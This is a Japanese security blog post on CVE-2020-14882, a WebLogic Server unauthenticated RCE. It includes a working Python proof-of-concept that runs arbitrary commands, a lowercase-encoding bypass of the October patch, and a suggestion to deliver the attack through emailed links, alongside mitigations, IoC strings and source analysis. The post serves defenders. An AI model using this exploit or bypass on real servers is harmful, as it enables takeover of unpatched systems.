CVE-2020–14882はインターネット越しに認証情報なしで任意のコードを実行できる脆弱性
CVE-2020–14882はJava EEアプリケーションサーバのOracle WebLogic Serverでインターネット越しに認証情報なしで任意のコード、RCE(remote code execution)を実行できる脆弱性です。
攻撃コード、PoC(proof of concept)はすでに公開されておりターゲットにされた場合、直ちにサーバが乗っ取られる可能性があります。
CVE-2020–14882の攻撃の被害を受ける可能性のある条件とは
以下の①と②の両方に当てはまる場合はCVE-2020–14882の脆弱性を突いた攻撃を受ける可能性があります。
①アタッカースコープから管理コンソール(標準では7001/tcpで動作)にアクセス可能であること
②以下の影響を受けるバージョンを利用している
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
CVE-2020–14882の実証概念コードPoC(proof of concept)
複数のPoCがありますが簡潔に汎用的にまとめると以下のようになります。(エラーハンドリングとかは一切してません)
認証なしのGETリクエストなので、メールからリンクアクセスでも実行可能な点がかなり怖いところです。外部ネットワークに閉じていても開発者にメールのリンクを踏ませる、添付ファイルからのアプローチなどが考えられます。
weblogic 12の場合のPoC(weblogic 10バージョンによって若干異なります)
import requests,sys
from urllib3.exceptions import InsecureRequestWarning
target = sys.argv[1]
command = sys.argv[2]
request = requests.session()
headers = {'Content-type': 'application/x-www-form-urlencoded; charset=utf-8'}
response = request.get(target + ":7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"java.lang.Runtime.getRuntime().exec('" + command + "');\");", verify=False, headers=headers)
print(response)
CVE-2020–14882への対応方法(回避策・軽減策)と検知方法
回避策:根本対策→軽減策(パッチがバイパスされます)
ポート7001、console.portalへのアクセスをブロックし、最新のパッチを充ててください。(パッチはこちらからhttps://www.oracle.com/security-alerts/cpuoct2020traditional.html)
外部アクセス可能なWebLogic ServerがDevelopment Modeになっている場合、Production Modeに変更してください。
確認方法:管理コンソールの左ペインの「ドメイン構造」の下で、対象ドメイン名を選択し「構成」→「全般」を選択して、「本番モード」チェック・ボックスを確認します。もし、チェックが入っていない場合はDevelopment Modeなので、チェックを入れて。「保存」をクリックします。変更をアクティブ化するには、この後に「チェンジ・センター」で「変更のアクティブ化」をクリックします。
10月20日のパッチ10月20日のクリティカルパッチアップデート(CPU)のパッチ簡単にバイパスされることが既に知られています
原因は簡単なパターンマッチのブラックリストに漏れがあったからです。
修正されたcom.bea.console.utils.MBeanUtilsInitSingleFileServletをみてみると
private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", "<", ">"};
具体的にいうと以下のように小文字にすると回避されてしまいます。
/console/images/%252e%252e%252fz
セキュアコーディングの基本はは「正常系以外は全て異常系」が基本です。「異常系以外は全て正常系」の書き方は上記のような失敗を招きやすいので注意しましょう。脆弱性の指摘があった場合、修正を確認する立場の皆さんは今後の保守性も踏まえて「異常系以外は全て正常系」のコードが確認されたら「正常系以外は全て異常系」に移行できるように促して行くことが大切です。
軽減策:保健対策
ファイアウォールなどでTCP port 7001をブロック設定してください。
検知方法
以下の文字列パターンで特に7001ポートに対するアクセスがあった場合は侵害指標、IoC(Indicator of Compromise)と判断して良いでしょう。
console.portal
%252E%252E%252F
パッチのバイパスが可能な以上、破られる前提を踏まえつつ可能な限りリスクを低減し許容なリスクに納めていくコントロールが大切になります。
Weblogicの該当部分のコードを読んでみる
web.xmlを見てみると/ images / * “および” / css / *は認証されずにAppManagerServletで処理されることになります。
この前提で「パッチが当たる前のコード」を見てみましょう。404にすべきな部分に注目しましょう。
package com.bea.console.utils;
import com.bea.netuix.servlets.manager.SingleFileServlet;
import java.io.IOException;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
public class MBeanUtilsInitSingleFileServlet extends SingleFileServlet {
private static final Log LOG = LogFactory.getLog(MBeanUtilsInitSingleFileServlet.class);
private static final String WL_DISPATCH_POLICY = "wl-dispatch-policy";
private static boolean hasInited = false;
private static final long serialVersionUID = 1L;
public static void initMBean() {
MBeanUtilsInitializer.initMBeanAsynchronously();
}
public void init(ServletConfig config) throws ServletException {
ConsoleWorkManagerUtils.init(config.getInitParameter("wl-dispatch-policy"));
super.init(config);
}
public void service(ServletRequest req, ServletResponse resp) throws ServletException, IOException {
if (!hasInited) {
initMBean();
hasInited = true;
}
if (req instanceof HttpServletRequest) {
HttpServletRequest httpServletRequest = (HttpServletRequest)req;
String url = httpServletRequest.getRequestURI();
if (url.indexOf(";") > 0) {
if (resp instanceof HttpServletResponse) {
HttpServletResponse httpServletResponse = (HttpServletResponse)resp;
httpServletResponse.sendError(404);
}
return;
}
}
try {
super.service(req, resp);
} catch (IllegalStateException e) {
if (LOG.isDebugEnabled())
LOG.debug(e);
}
}
}
修正版(パッチ)では以下のようなブラックリストが定義された上で
private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", "<", ">"};
赤字の部分が以下の用に変更されています。本当に蓋をしただけですね・・・パッチを当てればOKと言えないところがセキュリティエンジニアとして辛いところです。
for(int i=0; i< IllegalUrl.length; ++i){
if(url.contains(IllegalUrl[i])){
if (resp instanceof HttpServletResponse) {
HttpServletResponse httpServletResponse = (HttpServletResponse)resp;
httpServletResponse.sendError(404);
}
}
}
完全に現状は防ぐことができないので、「防御:7001ポートのブロック」「検知:コンソールへのアクセス」など多層防御でリスクを許容に押さえメールのリンクやファイル経由の攻撃、水飲み場攻撃などを監視など、のリスク全体を見据えコントロールを計画しビジネスとの落とし所をつけるなど、セキュリティチームの総力戦で押さえ込みましょう。
以上です。参考になれば幸いです。